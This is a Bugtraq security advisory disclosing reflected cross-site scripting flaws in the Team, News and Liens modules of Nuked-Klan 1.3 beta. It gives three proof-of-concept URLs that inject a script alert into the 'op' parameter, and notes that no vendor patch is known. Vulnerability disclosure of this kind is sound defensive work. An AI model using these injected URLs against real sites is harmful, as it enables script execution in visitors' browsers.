Nuked-Klan Multiple Cross Site Scripting Vulnerabilities

Bugtraq ID:	6916
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 23 2003 12:00AM
Updated:	Feb 23 2003 12:00AM
Credit:	The discovery of this vulnerability has been credited to "Grégory" Le Bras <[email protected]>.
Vulnerable:	Nuked-Klan Nuked-Klan 1.3 beta
Not Vulnerable:

Nuked-Klan Multiple Cross Site Scripting Vulnerabilities

It has been reported that Nuked-Klan beta 1.3 is prone to cross site scripting attacks. The problem occurs in the 'Team', 'News', and 'Liens' modules which fails to sufficiently sanitize user-supplied HTML and script code located in URI parameters.

This vulnerability was reported for Nuked-Klan beta 1.3; earlier versions may also be affected.

Nuked-Klan Multiple Cross Site Scripting Vulnerabilities

The following proof of concepts have been made available:

http://www.example.org/index.php?file=Team&op=<script>alert('Test');</script>

http://www.example.org/index.php?file=News&op=<script>alert('test');</script>

http://www.example.org/index.php?file=Liens&op=<script>alert('test');</script>

Nuked-Klan Multiple Cross Site Scripting Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Nuked-Klan Multiple Cross Site Scripting Vulnerabilities

References:

• [SCSA-006] XSS & Function Execution Vulnerabilities in Nuked-Klan ("Grégory" Le Bras )